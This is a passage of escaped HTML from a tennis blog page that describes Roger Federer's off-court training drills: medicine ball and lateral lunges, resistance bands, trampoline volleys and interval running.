id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-39  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-8c11fba1253c7f3be2da4c4edb21011a\">\n.avia-image-container.av-av_image-8c11fba1253c7f3be2da4c4edb21011a img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-8c11fba1253c7f3be2da4c4edb21011a .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-8c11fba1253c7f3be2da4c4edb21011a av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-40  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5057 avia-img-lazy-loading-not-5057 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/03.jpg\" alt='Medicine ball' title='Medicine ball'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/03.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/03-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-41  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-06037bd3acd9e8ead53cec9f8d768896\">\n#top .av-special-heading.av-av_heading-06037bd3acd9e8ead53cec9f8d768896{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-06037bd3acd9e8ead53cec9f8d768896 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-06037bd3acd9e8ead53cec9f8d768896 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-06037bd3acd9e8ead53cec9f8d768896 av-special-heading-h3 blockquote modern-quote  avia-builder-el-42  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >CORE STRENGTH<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>LATERAL LUNGES &amp; MEDICINAL BALL<\/p>\n<p>Most tennis shots are powered by your core (abdominal muscle) strength. The core strength is developed from a strong course. For that, Federer spends good amount of time practicing lateral lunges and medicinal ball.<br \/>\nMedicinal ball has various variations. For an example:\u00a0Stand with your feet shoulder-width apart. Lunge with your left leg out at a 45- degree angle and twist. Repeat with right leg.<\/p>\n<p>Medicinal ball : Stand opposite a partner on the court, close to the singles line and a few feet from the net.Then, pass a medicine ball back and forth across the net to his partner while crossing the court using shuffle steps.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-44  el_after_av_three_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-45  el_after_av_one_fifth  el_before_av_one_fourth  first flex_column_div av-zero-column-padding  column-top-margin'     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fourth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-9c1d454dc06f7247226bc4e8f931daae av_one_fourth  avia-builder-el-46  el_after_av_one_fifth  el_before_av_one_fourth  flex_column_div av-zero-column-padding  column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-6a6d09829743109380fb681b907e7f15\">\n.avia-image-container.av-av_image-6a6d09829743109380fb681b907e7f15 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-6a6d09829743109380fb681b907e7f15 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-6a6d09829743109380fb681b907e7f15 av-styling-circle avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-47  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5083 avia-img-lazy-loading-not-5083 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/stretching-lateral-adductor-squat.jpg\" alt='stretching-lateral lunges' title='stretching-lateral lunges'  height=\"349\" width=\"620\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/stretching-lateral-adductor-squat.jpg 620w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/stretching-lateral-adductor-squat-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/stretching-lateral-adductor-squat-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/stretching-lateral-adductor-squat-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/stretching-lateral-adductor-squat-32x18.jpg 32w\" sizes=\"(max-width: 620px) 100vw, 620px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fourth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-9c1d454dc06f7247226bc4e8f931daae av_one_fourth  avia-builder-el-48  el_after_av_one_fourth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-ba5d40aeb12b6962241e5ad75e363211\">\n.avia-image-container.av-av_image-ba5d40aeb12b6962241e5ad75e363211 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-ba5d40aeb12b6962241e5ad75e363211 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-ba5d40aeb12b6962241e5ad75e363211 av-styling-no-styling av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-49  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5084 avia-img-lazy-loading-not-5084 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/medicinal-ball-495x400.jpg\" alt='medicinal ball' title='medicinal ball'  height=\"400\" width=\"495\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/medicinal-ball-495x400.jpg 495w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/medicinal-ball-845x684.jpg 845w\" sizes=\"(max-width: 495px) 100vw, 495px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-50  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  column-top-margin'     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_8'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-51  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-52  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-d0256cb3e27c56f08bbf4a220d88ee27\">\n.avia-image-container.av-av_image-d0256cb3e27c56f08bbf4a220d88ee27 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-d0256cb3e27c56f08bbf4a220d88ee27 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-d0256cb3e27c56f08bbf4a220d88ee27 av-styling-circle avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-53  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5062 avia-img-lazy-loading-not-5062 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/08.jpg\" alt='' title='resistance band'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/08.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/08-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-54  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-31c8e0214f85f154891cd1f45131ef54\">\n#top .av-special-heading.av-av_heading-31c8e0214f85f154891cd1f45131ef54{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-31c8e0214f85f154891cd1f45131ef54 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-31c8e0214f85f154891cd1f45131ef54 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-31c8e0214f85f154891cd1f45131ef54 av-special-heading-h3 blockquote modern-quote  avia-builder-el-55  el_before_av_hr  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >ENDURANCE AND AGILITY<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-5ea7596238ed9f191e6b5e662093052f\">\n#top .hr.hr-invisible.av-av_hr-5ea7596238ed9f191e6b5e662093052f{\nheight:30px;\n}\n<\/style>\n<div  class='hr av-av_hr-5ea7596238ed9f191e6b5e662093052f hr-invisible  avia-builder-el-56  el_after_av_heading  el_before_av_image '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-5560892125826ea60e73d72f7408cde2\">\n.avia-image-container.av-av_image-5560892125826ea60e73d72f7408cde2 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-5560892125826ea60e73d72f7408cde2 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-5560892125826ea60e73d72f7408cde2 av-styling-no-styling avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-57  el_after_av_hr  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5064 avia-img-lazy-loading-not-5064 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining.jpg\" alt='FedererTraining' title='FedererTraining'  height=\"519\" width=\"800\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining.jpg 800w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining-300x195.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining-768x498.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining-705x457.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining-450x292.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining-128x83.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/FedererTraining-32x21.jpg 32w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>RESISTANCE BANDS<\/p>\n<p>To play freely on court, Federer depends on\u00a0flexible body\/ agility and endurance training. This helps him feel light footed while playing, so you can move\u00a0without feeling weighed down by stress. Federer trains himself by increasing resistance around his movements.<br \/>\n1. Federer places a band between his legs while practicing ground strokes so that each leg movement creates some resistance, strengthening the muscles used. When\u00a0he plays matches with no band between his legs, he feels light and free.<\/p>\n<p>2. In another similar exercise, he places the band around his waist, with the other end attached to the net. Short and long balls are then hit to him, and he hustles back and forth trying to hit them all before second bounce.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-59  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_9'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-60  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-61  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-b365dd0f1d501a4d353a96d370e99030\">\n.avia-image-container.av-av_image-b365dd0f1d501a4d353a96d370e99030 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-b365dd0f1d501a4d353a96d370e99030 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-b365dd0f1d501a4d353a96d370e99030 av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-62  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5059 avia-img-lazy-loading-not-5059 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1.jpg\" alt='' title='trampoline volley'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/05-1-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-63  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-17af1e5cf9d3a8472cc7c1cea633dc91\">\n#top .av-special-heading.av-av_heading-17af1e5cf9d3a8472cc7c1cea633dc91{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-17af1e5cf9d3a8472cc7c1cea633dc91 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-17af1e5cf9d3a8472cc7c1cea633dc91 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-17af1e5cf9d3a8472cc7c1cea633dc91 av-special-heading-h3 blockquote modern-quote  avia-builder-el-64  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >BALANCE<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>TRAMPOLINE VOLLEY<\/p>\n<p>As a training routine to improve his volleys, Federer stands on a stiff mini-trampoline and hits volleys balancing on one leg. This\u00a0develops an incredible balance that is evident when you are hitting with both feet grounded.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-66  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_10'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-67  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-68  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-4366275e212cfce80a7c91dfaed3946b\">\n.avia-image-container.av-av_image-4366275e212cfce80a7c91dfaed3946b img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-4366275e212cfce80a7c91dfaed3946b .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-4366275e212cfce80a7c91dfaed3946b av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-69  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5060 avia-img-lazy-loading-not-5060 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/06.jpg\" alt='Run - interval training' title='Run - interval training'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/06.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/06-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-70  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-ee8fa7f4765e214e64cec2ab53c5666c\">\n#top .av-special-heading.av-av_heading-ee8fa7f4765e214e64cec2ab53c5666c{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-ee8fa7f4765e214e64cec2ab53c5666c .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-ee8fa7f4765e214e64cec2ab53c5666c .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-ee8fa7f4765e214e64cec2ab53c5666c av-special-heading-h3 blockquote modern-quote  avia-builder-el-71  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >INTERVAL TRAINING<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Tennis is all about explosive power in short bursts. For that, there is interval training. You run for 30 seconds and then have a break for 30 seconds.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-73  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_11'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-74  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" 